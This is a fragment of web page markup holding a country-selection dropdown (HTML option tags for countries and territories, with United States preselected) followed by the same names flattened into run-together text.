            <option value="Somalia" title="Somalia">Somalia</option>
            <option value="South Africa" title="South Africa">South Africa</option>
            <option value="South Georgia and the" title="South Georgia and the South Sandwich Islands">South Georgia and the South Sandwich Islands</option>
            <option value="South Sudan" title="South Sudan">South Sudan</option>
            <option value="Spain" title="Spain">Spain</option>
            <option value="Spratly Islands" title="Spratly Islands">Spratly Islands</option>
            <option value="Sri Lanka" title="Sri Lanka">Sri Lanka</option>
            <option value="St Helena" title="St. Helena">St. Helena</option>
            <option value="St Kitts and Nevis" title="St. Kitts and Nevis">St. Kitts and Nevis</option>
            <option value="St Lucia Island" title="St. Lucia Island">St. Lucia Island</option>
            <option value="St Pierre and Miquelo" title="St. Pierre and Miquelon">St. Pierre and Miquelon</option>
            <option value="St Vincent and the Gr" title="St. Vincent and the Grenadines">St. Vincent and the Grenadines</option>
            <option value="Sudan" title="Sudan">Sudan</option>
            <option value="Suriname" title="Suriname">Suriname</option>
            <option value="Svalbard" title="Svalbard">Svalbard</option>
            <option value="Swaziland" title="Swaziland">Swaziland</option>
            <option value="Sweden" title="Sweden">Sweden</option>
            <option value="Switzerland" title="Switzerland">Switzerland</option>
            <option value="Syria" title="Syria">Syria</option>
            <option value="Taiwan" title="Taiwan">Taiwan</option>
            <option value="Tajikistan" title="Tajikistan">Tajikistan</option>
            <option value="Tanzania" title="Tanzania">Tanzania</option>
            <option value="Thailand" title="Thailand">Thailand</option>
            <option value="Togo" title="Togo">Togo</option>
            <option value="Tokelau" title="Tokelau">Tokelau</option>
            <option value="Tonga" title="Tonga">Tonga</option>
            <option value="Trinidad and Tobago" title="Trinidad and Tobago">Trinidad and Tobago</option>
            <option value="Tunisia" title="Tunisia">Tunisia</option>
            <option value="Turkey" title="Turkey">Turkey</option>
            <option value="Turkmenistan" title="Turkmenistan">Turkmenistan</option>
            <option value="Turks and Caicos Isla" title="Turks and Caicos Islands">Turks and Caicos Islands</option>
            <option value="Tuvalu" title="Tuvalu">Tuvalu</option>
            <option value="Uganda" title="Uganda">Uganda</option>
            <option value="Ukraine" title="Ukraine">Ukraine</option>
            <option value="United Arab Emirates" title="United Arab Emirates">United Arab Emirates</option>
            <option value="United Kingdom Englan" title="United Kingdom (England, Northern Ireland, Scotland, and Wales)">United Kingdom (England, Northern Ireland, Scotland, and Wales)</option>
            <option value="Uruguay" title="Uruguay">Uruguay</option>
            <option value="Uzbekistan" title="Uzbekistan">Uzbekistan</option>
            <option value="Vanuatu" title="Vanuatu">Vanuatu</option>
            <option value="Venezuela" title="Venezuela">Venezuela</option>
            <option value="Vietnam" title="Vietnam">Vietnam</option>
            <option value="Wake Island" title="Wake Island">Wake Island</option>
            <option value="Wallis and Futuna" title="Wallis and Futuna">Wallis and Futuna</option>
            <option value="Western Sahara" title="Western Sahara">Western Sahara</option>
            <option value="Yemen Aden" title="Yemen (Aden)">Yemen (Aden)</option>
            <option value="Zambia" title="Zambia">Zambia</option>
            <option value="Zimbabwe" title="Zimbabwe">Zimbabwe</option>
            <option value="Other Country" title="Other Country">Other Country</option>
            <option value="United States" title="United States" selected="">United States</option>
            <option value="Afghanistan" title="Afghanistan">Afghanistan</option>
            <option value="Akrotiri" title="Akrotiri">Akrotiri</option>
            <option value="Albania" title="Albania">Albania</option>
            <option value="Algeria" title="Algeria">Algeria</option>
            <option value="Andorra" title="Andorra">Andorra</option>
            <option value="Angola" title="Angola">Angola</option>
            <option value="Anguilla" title="Anguilla">Anguilla</option>
            <option value="Antarctica" title="Antarctica">Antarctica</option>
            <option value="Antigua and Barbuda" title="Antigua and Barbuda">Antigua and Barbuda</option>
            <option value="Argentina" title="Argentina">Argentina</option>
            <option value="Armenia" title="Armenia">Armenia</option>
            <option value="Aruba" title="Aruba">Aruba</option>
            <option value="Ashmore and Cartier I" title="Ashmore and Cartier Islands">Ashmore and Cartier Islands</option>
            <option value="Australia" title="Australia">Australia</option>
            <option value="Austria" title="Austria">Austria</option>
            <option value="Azerbaijan" title="Azerbaijan">Azerbaijan</option>
            <option value="Bahamas" title="Bahamas">Bahamas</option>
            <option value="Bahrain" title="Bahrain">Bahrain</option>
            <option value="Baker Island" title="Baker Island">Baker Island</option>
            <option value="Bangladesh" title="Bangladesh">Bangladesh</option>
            <option value="Barbados" title="Barbados">Barbados</option>
            <option value="Belarus" title="Belarus">Belarus</option>
            <option value="Belgium" title="Belgium">Belgium</option>
            <option value="Belize" title="Belize">Belize</option>
            <option value="Benin" title="Benin">Benin</option>
            <option value="Bermuda" title="Bermuda">Bermuda</option>
            <option value="Bhutan" title="Bhutan">Bhutan</option>
            <option value="Bolivia" title="Bolivia">Bolivia</option>
            <option value="Bosnia Herzegovina" title="Bosnia-Herzegovina">Bosnia-Herzegovina</option>
            <option value="Botswana" title="Botswana">Botswana</option>
            <option value="Bouvet Island" title="Bouvet Island">Bouvet Island</option>
            <option value="Brazil" title="Brazil">Brazil</option>
            <option value="British Indian Ocean" title="British Indian Ocean Territory">British Indian Ocean Territory</option>
            <option value="British Virgin Island" title="British Virgin Islands">British Virgin Islands</option>
            <option value="Brunei" title="Brunei">Brunei</option>
            <option value="Bulgaria" title="Bulgaria">Bulgaria</option>
            <option value="Burkina Faso" title="Burkina Faso">Burkina Faso</option>
            <option value="Burma" title="Burma">Burma</option>
            <option value="Burundi" title="Burundi">Burundi</option>
            <option value="Cambodia" title="Cambodia">Cambodia</option>
            <option value="Cameroon" title="Cameroon">Cameroon</option>
            <option value="Canada" title="Canada">Canada</option>
            <option value="Cape Verde" title="Cape Verde">Cape Verde</option>
            <option value="Cayman Islands" title="Cayman Islands">Cayman Islands</option>
            <option value="Central African Repub" title="Central African Republic">Central African Republic</option>
            <option value="Chad" title="Chad">Chad</option>
            <option value="Chile" title="Chile">Chile</option>
            <option value="China" title="China">China</option>
            <option value="Christmas Island" title="Christmas Island">Christmas Island</option>
            <option value="Clipperton Island" title="Clipperton Island">Clipperton Island</option>
            <option value="Cocos Keeling Islands" title="Cocos (Keeling) Islands">Cocos (Keeling) Islands</option>
            <option value="Colombia" title="Colombia">Colombia</option>
            <option value="Comoros" title="Comoros">Comoros</option>
            <option value="Congo Brazzaville" title="Congo (Brazzaville)">Congo (Brazzaville)</option>
            <option value="Congo Kinshasa" title="Congo (Kinshasa)">Congo (Kinshasa)</option>
            <option value="Cook Islands" title="Cook Islands">Cook Islands</option>
            <option value="Coral Sea Islands" title="Coral Sea Islands">Coral Sea Islands</option>
            <option value="Costa Rica" title="Costa Rica">Costa Rica</option>
            <option value="Cote DIvoire Ivory Co" title="Cote D'Ivoire (Ivory Coast)">Cote D'Ivoire (Ivory Coast)</option>
            <option value="Croatia" title="Croatia">Croatia</option>
            <option value="Cuba" title="Cuba">Cuba</option>
            <option value="Curacao" title="Curacao">Curacao</option>
            <option value="Cyprus" title="Cyprus">Cyprus</option>
            <option value="Czech Republic" title="Czech Republic">Czech Republic</option>
            <option value="Denmark" title="Denmark">Denmark</option>
            <option value="Dhekelia" title="Dhekelia">Dhekelia</option>
            <option value="Djibouti" title="Djibouti">Djibouti</option>
            <option value="Dominica" title="Dominica">Dominica</option>
            <option value="Dominican Republic" title="Dominican Republic">Dominican Republic</option>
            <option value="East Timor" title="East Timor">East Timor</option>
            <option value="Ecuador" title="Ecuador">Ecuador</option>
            <option value="Egypt" title="Egypt">Egypt</option>
            <option value="El Salvador" title="El Salvador">El Salvador</option>
            <option value="Equatorial Guinea" title="Equatorial Guinea">Equatorial Guinea</option>
            <option value="Eritrea" title="Eritrea">Eritrea</option>
            <option value="Estonia" title="Estonia">Estonia</option>
            <option value="Ethiopia" title="Ethiopia">Ethiopia</option>
            <option value="Falkland Islands Isla" title="Falkland Islands (Islas Malvinas)">Falkland Islands (Islas Malvinas)</option>
            <option value="Faroe Islands" title="Faroe Islands">Faroe Islands</option>
            <option value="Federated States of M" title="Federated States of Micronesia">Federated States of Micronesia</option>
            <option value="Fiji" title="Fiji">Fiji</option>
            <option value="Finland" title="Finland">Finland</option>
            <option value="France" title="France">France</option>
            <option value="French Polynesia" title="French Polynesia">French Polynesia</option>
            <option value="French Southern and A" title="French Southern and Antarctic Lands">French Southern and Antarctic Lands</option>
            <option value="Gabon" title="Gabon">Gabon</option>
            <option value="The Gambia" title="The Gambia">The Gambia</option>
            <option value="Georgia" title="Georgia">Georgia</option>
            <option value="Germany" title="Germany">Germany</option>
            <option value="Ghana" title="Ghana">Ghana</option>
            <option value="Gibraltar" title="Gibraltar">Gibraltar</option>
            <option value="Greece" title="Greece">Greece</option>
            <option value="Greenland" title="Greenland">Greenland</option>
            <option value="Grenada" title="Grenada">Grenada</option>
            <option value="Guatemala" title="Guatemala">Guatemala</option>
            <option value="Guernsey" title="Guernsey">Guernsey</option>
            <option value="Guinea" title="Guinea">Guinea</option>
            <option value="Guinea Bissau" title="Guinea-Bissau">Guinea-Bissau</option>
            <option value="Guyana" title="Guyana">Guyana</option>
            <option value="Haiti" title="Haiti">Haiti</option>
            <option value="Heard Island and McDo" title="Heard Island and McDonald Islands">Heard Island and McDonald Islands</option>
            <option value="Holy See" title="Holy See">Holy See</option>
            <option value="Honduras" title="Honduras">Honduras</option>
            <option value="Hong Kong" title="Hong Kong">Hong Kong</option>
            <option value="Howland Island" title="Howland Island">Howland Island</option>
            <option value="Hungary" title="Hungary">Hungary</option>
            <option value="Iceland" title="Iceland">Iceland</option>
            <option value="India" title="India">India</option>
            <option value="Indonesia" title="Indonesia">Indonesia</option>
            <option value="Iran" title="Iran">Iran</option>
            <option value="Iraq" title="Iraq">Iraq</option>
            <option value="Ireland" title="Ireland">Ireland</option>
            <option value="Israel" title="Israel">Israel</option>
            <option value="Italy" title="Italy">Italy</option>
            <option value="Jamaica" title="Jamaica">Jamaica</option>
            <option value="Jan Mayen" title="Jan Mayen">Jan Mayen</option>
            <option value="Japan" title="Japan">Japan</option>
            <option value="Jarvis Island" title="Jarvis Island">Jarvis Island</option>
            <option value="Jersey" title="Jersey">Jersey</option>
            <option value="Johnston Atoll" title="Johnston Atoll">Johnston Atoll</option>
            <option value="Jordan" title="Jordan">Jordan</option>
            <option value="Kazakhstan" title="Kazakhstan">Kazakhstan</option>
            <option value="Kenya" title="Kenya">Kenya</option>
            <option value="Kingman Reef" title="Kingman Reef">Kingman Reef</option>
            <option value="Kiribati" title="Kiribati">Kiribati</option>
            <option value="Korea Democratic Peop" title="Korea, Democratic People's Republic of (North)">Korea, Democratic People's Republic of (North)</option>
            <option value="Korea Republic of Sou" title="Korea, Republic of (South)">Korea, Republic of (South)</option>
            <option value="Kosovo" title="Kosovo">Kosovo</option>
            <option value="Kuwait" title="Kuwait">Kuwait</option>
            <option value="Kyrgyzstan" title="Kyrgyzstan">Kyrgyzstan</option>
            <option value="Laos" title="Laos">Laos</option>
            <option value="Latvia" title="Latvia">Latvia</option>
            <option value="Lebanon" title="Lebanon">Lebanon</option>
            <option value="Lesotho" title="Lesotho">Lesotho</option>
            <option value="Liberia" title="Liberia">Liberia</option>
            <option value="Libya" title="Libya">Libya</option>
            <option value="Liechtenstein" title="Liechtenstein">Liechtenstein</option>
            <option value="Lithuania" title="Lithuania">Lithuania</option>
            <option value="Luxembourg" title="Luxembourg">Luxembourg</option>
            <option value="Macau" title="Macau">Macau</option>
            <option value="Macedonia" title="Macedonia">Macedonia</option>
            <option value="Madagascar" title="Madagascar">Madagascar</option>
            <option value="Malawi" title="Malawi">Malawi</option>
            <option value="Malaysia" title="Malaysia">Malaysia</option>
            <option value="Maldives" title="Maldives">Maldives</option>
            <option value="Mali" title="Mali">Mali</option>
            <option value="Malta" title="Malta">Malta</option>
            <option value="Man Isle of" title="Man, Isle of">Man, Isle of</option>
            <option value="Marshall Islands" title="Marshall Islands">Marshall Islands</option>
            <option value="Mauritania" title="Mauritania">Mauritania</option>
            <option value="Mauritius" title="Mauritius">Mauritius</option>
            <option value="Mexico" title="Mexico">Mexico</option>
            <option value="Midway Islands" title="Midway Islands">Midway Islands</option>
            <option value="Moldova" title="Moldova">Moldova</option>
            <option value="Monaco" title="Monaco">Monaco</option>
            <option value="Mongolia" title="Mongolia">Mongolia</option>
            <option value="Montenegro" title="Montenegro">Montenegro</option>
            <option value="Montserrat" title="Montserrat">Montserrat</option>
            <option value="Morocco" title="Morocco">Morocco</option>
            <option value="Mozambique" title="Mozambique">Mozambique</option>
            <option value="Namibia" title="Namibia">Namibia</option>
            <option value="Nauru" title="Nauru">Nauru</option>
            <option value="Navassa Island" title="Navassa Island">Navassa Island</option>
            <option value="Nepal" title="Nepal">Nepal</option>
            <option value="Netherlands" title="Netherlands">Netherlands</option>
            <option value="New Caledonia" title="New Caledonia">New Caledonia</option>
            <option value="New Zealand" title="New Zealand">New Zealand</option>
            <option value="Nicaragua" title="Nicaragua">Nicaragua</option>
            <option value="Niger" title="Niger">Niger</option>
            <option value="Nigeria" title="Nigeria">Nigeria</option>
            <option value="Niue" title="Niue">Niue</option>
            <option value="Norfolk Island" title="Norfolk Island">Norfolk Island</option>
            <option value="Norway" title="Norway">Norway</option>
            <option value="Oman" title="Oman">Oman</option>
            <option value="Pakistan" title="Pakistan">Pakistan</option>
            <option value="Palau" title="Palau">Palau</option>
            <option value="Palmyra Atoll" title="Palmyra Atoll">Palmyra Atoll</option>
            <option value="Panama" title="Panama">Panama</option>
            <option value="Papua New Guinea" title="Papua-New Guinea">Papua-New Guinea</option>
            <option value="Paracel Islands" title="Paracel Islands">Paracel Islands</option>
            <option value="Paraguay" title="Paraguay">Paraguay</option>
            <option value="Peru" title="Peru">Peru</option>
            <option value="Philippines" title="Philippines">Philippines</option>
            <option value="Pitcairn Islands" title="Pitcairn Islands">Pitcairn Islands</option>
            <option value="Poland" title="Poland">Poland</option>
            <option value="Portugal" title="Portugal">Portugal</option>
            <option value="Qatar" title="Qatar">Qatar</option>
            <option value="Romania" title="Romania">Romania</option>
            <option value="Russia" title="Russia">Russia</option>
            <option value="Rwanda" title="Rwanda">Rwanda</option>
            <option value="Saint Barthelemy" title="Saint Barthelemy">Saint Barthelemy</option>
            <option value="Saint Martin" title="Saint Martin">Saint Martin</option>
            <option value="Samoa" title="Samoa">Samoa</option>
            <option value="San Marino" title="San Marino">San Marino</option>
            <option value="Sao Tome and Principe" title="Sao Tome and Principe">Sao Tome and Principe</option>
            <option value="Saudi Arabia" title="Saudi Arabia">Saudi Arabia</option>
            <option value="Senegal" title="Senegal">Senegal</option>
            <option value="Serbia" title="Serbia">Serbia</option>
            <option value="Seychelles" title="Seychelles">Seychelles</option>
            <option value="Sierra Leone" title="Sierra Leone">Sierra Leone</option>
            <option value="Singapore" title="Singapore">Singapore</option>
            <option value="Sint Maarten" title="Sint Maarten">Sint Maarten</option>
            <option value="Slovakia" title="Slovakia">Slovakia</option>
            <option value="Slovenia" title="Slovenia">Slovenia</option>
            <option value="Solomon Islands" title="Solomon Islands">Solomon Islands</option>
            <option value="Somalia" title="Somalia">Somalia</option>
            <option value="South Africa" title="South Africa">South Africa</option>
            <option value="South Georgia and the" title="South Georgia and the South Sandwich Islands">South Georgia and the South Sandwich Islands</option>
            <option value="South Sudan" title="South Sudan">South Sudan</option>
            <option value="Spain" title="Spain">Spain</option>
            <option value="Spratly Islands" title="Spratly Islands">Spratly Islands</option>
            <option value="Sri Lanka" title="Sri Lanka">Sri Lanka</option>
            <option value="St Helena" title="St. Helena">St. Helena</option>
            <option value="St Kitts and Nevis" title="St. Kitts and Nevis">St. Kitts and Nevis</option>
            <option value="St Lucia Island" title="St. Lucia Island">St. Lucia Island</option>
            <option value="St Pierre and Miquelo" title="St. Pierre and Miquelon">St. Pierre and Miquelon</option>
            <option value="St Vincent and the Gr" title="St. Vincent and the Grenadines">St. Vincent and the Grenadines</option>
            <option value="Sudan" title="Sudan">Sudan</option>
            <option value="Suriname" title="Suriname">Suriname</option>
            <option value="Svalbard" title="Svalbard">Svalbard</option>
            <option value="Swaziland" title="Swaziland">Swaziland</option>
            <option value="Sweden" title="Sweden">Sweden</option>
            <option value="Switzerland" title="Switzerland">Switzerland</option>
            <option value="Syria" title="Syria">Syria</option>
            <option value="Taiwan" title="Taiwan">Taiwan</option>
            <option value="Tajikistan" title="Tajikistan">Tajikistan</option>
            <option value="Tanzania" title="Tanzania">Tanzania</option>
            <option value="Thailand" title="Thailand">Thailand</option>
            <option value="Togo" title="Togo">Togo</option>
            <option value="Tokelau" title="Tokelau">Tokelau</option>
            <option value="Tonga" title="Tonga">Tonga</option>
            <option value="Trinidad and Tobago" title="Trinidad and Tobago">Trinidad and Tobago</option>
            <option value="Tunisia" title="Tunisia">Tunisia</option>
            <option value="Turkey" title="Turkey">Turkey</option>
            <option value="Turkmenistan" title="Turkmenistan">Turkmenistan</option>
            <option value="Turks and Caicos Isla" title="Turks and Caicos Islands">Turks and Caicos Islands</option>
            <option value="Tuvalu" title="Tuvalu">Tuvalu</option>
            <option value="Uganda" title="Uganda">Uganda</option>
            <option value="Ukraine" title="Ukraine">Ukraine</option>
            <option value="United Arab Emirates" title="United Arab Emirates">United Arab Emirates</option>
            <option value="United Kingdom Englan" title="United Kingdom (England, Northern Ireland, Scotland, and Wales)">United Kingdom (England, Northern Ireland, Scotland, and Wales)</option>
            <option value="Uruguay" title="Uruguay">Uruguay</option>
            <option value="Uzbekistan" title="Uzbekistan">Uzbekistan</option>
            <option value="Vanuatu" title="Vanuatu">Vanuatu</option>
            <option value="Venezuela" title="Venezuela">Venezuela</option>
            <option value="Vietnam" title="Vietnam">Vietnam</option>
            <option value="Wake Island" title="Wake Island">Wake Island</option>
            <option value="Wallis and Futuna" title="Wallis and Futuna">Wallis and Futuna</option>
            <option value="Western Sahara" title="Western Sahara">Western Sahara</option>
            <option value="Yemen Aden" title="Yemen (Aden)">Yemen (Aden)</option>
            <option value="Zambia" title="Zambia">Zambia</option>
            <option value="Zimbabwe" title="Zimbabwe">Zimbabwe</option>
            <option value="Other Country" title="Other Country">Other Country</option>
          </select>
        </div>
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IslandsMoldovaMonacoMongoliaMontenegroMontserratMoroccoMozambiqueNamibiaNauruNavassa
IslandNepalNetherlandsNew CaledoniaNew ZealandNicaraguaNigerNigeriaNiueNorfolk
IslandNorwayOmanPakistanPalauPalmyra AtollPanamaPapua-New GuineaParacel
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IslandsPolandPortugalQatarRomaniaRussiaRwandaSaint BarthelemySaint
MartinSamoaSan MarinoSao Tome and PrincipeSaudi
ArabiaSenegalSerbiaSeychellesSierra LeoneSingaporeSint
MaartenSlovakiaSloveniaSolomon IslandsSomaliaSouth AfricaSouth Georgia and the
South Sandwich IslandsSouth SudanSpainSpratly IslandsSri LankaSt. HelenaSt.
Kitts and NevisSt. Lucia IslandSt. Pierre and MiquelonSt. Vincent and the
GrenadinesSudanSurinameSvalbardSwazilandSwedenSwitzerlandSyriaTaiwanTajikistanTanzaniaThailandTogoTokelauTongaTrinidad
and TobagoTunisiaTurkeyTurkmenistanTurks and Caicos
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Ireland, Scotland, and Wales)UruguayUzbekistanVanuatuVenezuelaVietnamWake
IslandWallis and FutunaWestern SaharaYemen (Aden)ZambiaZimbabweOther Country
United
StatesAfghanistanAkrotiriAlbaniaAlgeriaAndorraAngolaAnguillaAntarcticaAntigua
and BarbudaArgentinaArmeniaArubaAshmore and Cartier
IslandsAustraliaAustriaAzerbaijanBahamasBahrainBaker
IslandBangladeshBarbadosBelarusBelgiumBelizeBeninBermudaBhutanBoliviaBosnia-HerzegovinaBotswanaBouvet
IslandBrazilBritish Indian Ocean TerritoryBritish Virgin
IslandsBruneiBulgariaBurkina FasoBurmaBurundiCambodiaCameroonCanadaCape
VerdeCayman IslandsCentral African RepublicChadChileChinaChristmas
IslandClipperton IslandCocos (Keeling) IslandsColombiaComorosCongo
(Brazzaville)Congo (Kinshasa)Cook IslandsCoral Sea IslandsCosta RicaCote
D'Ivoire (Ivory Coast)CroatiaCubaCuracaoCyprusCzech
RepublicDenmarkDhekeliaDjiboutiDominicaDominican RepublicEast
TimorEcuadorEgyptEl SalvadorEquatorial GuineaEritreaEstoniaEthiopiaFalkland
Islands (Islas Malvinas)Faroe IslandsFederated States of
MicronesiaFijiFinlandFranceFrench PolynesiaFrench Southern and Antarctic
LandsGabonThe
GambiaGeorgiaGermanyGhanaGibraltarGreeceGreenlandGrenadaGuatemalaGuernseyGuineaGuinea-BissauGuyanaHaitiHeard
Island and McDonald IslandsHoly SeeHondurasHong KongHowland
IslandHungaryIcelandIndiaIndonesiaIranIraqIrelandIsraelItalyJamaicaJan
MayenJapanJarvis IslandJerseyJohnston AtollJordanKazakhstanKenyaKingman
ReefKiribatiKorea, Democratic People's Republic of (North)Korea, Republic of
(South)KosovoKuwaitKyrgyzstanLaosLatviaLebanonLesothoLiberiaLibyaLiechtensteinLithuaniaLuxembourgMacauMacedoniaMadagascarMalawiMalaysiaMaldivesMaliMaltaMan,
Isle ofMarshall IslandsMauritaniaMauritiusMexicoMidway
IslandsMoldovaMonacoMongoliaMontenegroMontserratMoroccoMozambiqueNamibiaNauruNavassa
IslandNepalNetherlandsNew CaledoniaNew ZealandNicaraguaNigerNigeriaNiueNorfolk
IslandNorwayOmanPakistanPalauPalmyra AtollPanamaPapua-New GuineaParacel
IslandsParaguayPeruPhilippinesPitcairn
IslandsPolandPortugalQatarRomaniaRussiaRwandaSaint BarthelemySaint
MartinSamoaSan MarinoSao Tome and PrincipeSaudi
ArabiaSenegalSerbiaSeychellesSierra LeoneSingaporeSint
MaartenSlovakiaSloveniaSolomon IslandsSomaliaSouth AfricaSouth Georgia and the
South Sandwich IslandsSouth SudanSpainSpratly IslandsSri LankaSt. HelenaSt.
Kitts and NevisSt. Lucia IslandSt. Pierre and MiquelonSt. Vincent and the
GrenadinesSudanSurinameSvalbardSwazilandSwedenSwitzerlandSyriaTaiwanTajikistanTanzaniaThailandTogoTokelauTongaTrinidad
and TobagoTunisiaTurkeyTurkmenistanTurks and Caicos
IslandsTuvaluUgandaUkraineUnited Arab EmiratesUnited Kingdom (England, Northern
Ireland, Scotland, and Wales)UruguayUzbekistanVanuatuVenezuelaVietnamWake
IslandWallis and FutunaWestern SaharaYemen (Aden)ZambiaZimbabweOther Country



 

 



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